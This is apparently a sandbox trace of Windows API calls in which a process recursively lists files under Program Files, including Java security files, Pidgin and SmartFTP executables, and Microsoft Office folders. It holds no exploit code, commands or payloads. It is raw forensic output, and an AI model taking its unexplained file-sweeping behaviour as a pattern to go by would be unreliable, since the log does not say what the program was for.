ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0095.580] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1 [0095.580] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0095.580] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1 [0095.580] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1 [0095.580] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1 [0095.580] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0095.580] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="security", cAlternateFileName="")) returned 1 [0095.581] GetProcessHeap () returned 0xc00000 [0095.581] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0095.581] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0095.584] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.584] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1 [0095.584] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="blacklisted.certs", cAlternateFileName="BLACKL~1.CER")) returned 1 [0095.584] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="cacerts", cAlternateFileName="")) returned 1 [0095.584] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="java.policy", cAlternateFileName="JAVA~1.POL")) returned 1 [0095.584] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="java.security", cAlternateFileName="JAVA~1.SEC")) returned 1 [0095.585] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="javaws.policy", cAlternateFileName="JAVAWS~1.POL")) returned 1 [0095.585] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0095.585] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1 [0095.586] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 1 [0095.586] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 0 [0095.586] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0095.588] GetProcessHeap () returned 0xc00000 [0095.588] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0095.588] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0095.588] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="tzdb.dat", cAlternateFileName="")) returned 1 [0095.588] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1 [0095.588] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 0 [0095.589] FindClose (in: hFindFile=0xc19bb8 | out: hFindFile=0xc19bb8) returned 1 [0095.589] GetProcessHeap () returned 0xc00000 [0095.589] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0095.590] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0095.590] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0095.590] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0095.591] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0095.591] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0095.591] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0095.591] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 0 [0095.591] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0095.592] GetProcessHeap () returned 0xc00000 [0095.592] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0095.592] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x818bb550, ftCreationTime.dwHighDateTime=0x1d596ed, ftLastAccessTime.dwLowDateTime=0xb4eb08d0, ftLastAccessTime.dwHighDateTime=0x1d56842, ftLastWriteTime.dwLowDateTime=0xb4eb08d0, ftLastWriteTime.dwHighDateTime=0x1d56842, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 1 [0095.592] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd2f4ad0, ftCreationTime.dwHighDateTime=0x1d56d44, ftLastAccessTime.dwLowDateTime=0xa07fec50, ftLastAccessTime.dwHighDateTime=0x1d5a24c, ftLastWriteTime.dwLowDateTime=0xa07fec50, ftLastWriteTime.dwHighDateTime=0x1d5a24c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="smartftp.exe", cAlternateFileName="")) returned 1 [0095.592] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd2f4ad0, ftCreationTime.dwHighDateTime=0x1d56d44, ftLastAccessTime.dwLowDateTime=0xa07fec50, ftLastAccessTime.dwHighDateTime=0x1d5a24c, ftLastWriteTime.dwLowDateTime=0xa07fec50, ftLastWriteTime.dwHighDateTime=0x1d5a24c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="smartftp.exe", cAlternateFileName="")) returned 0 [0095.592] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0095.592] GetProcessHeap () returned 0xc00000 [0095.592] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0095.594] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xec17f592, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec17f592, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0095.594] GetProcessHeap () returned 0xc00000 [0095.594] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0095.594] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xec17f592, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec17f592, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0095.594] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xec17f592, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec17f592, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.595] GetProcessHeap () returned 0xc00000 [0095.595] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0095.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0095.598] GetProcessHeap () returned 0xc00000 [0095.598] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0095.598] GetProcessHeap () returned 0xc00000 [0095.598] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0095.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19bb8 [0095.615] GetProcessHeap () returned 0xc00000 [0095.615] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0095.616] GetProcessHeap () returned 0xc00000 [0095.616] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0095.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19bb8 [0095.616] GetProcessHeap () returned 0xc00000 [0095.616] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0095.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbfd, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0096.090] GetProcessHeap () returned 0xc00000 [0096.090] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0096.090] GetProcessHeap () returned 0xc00000 [0096.090] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0096.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft 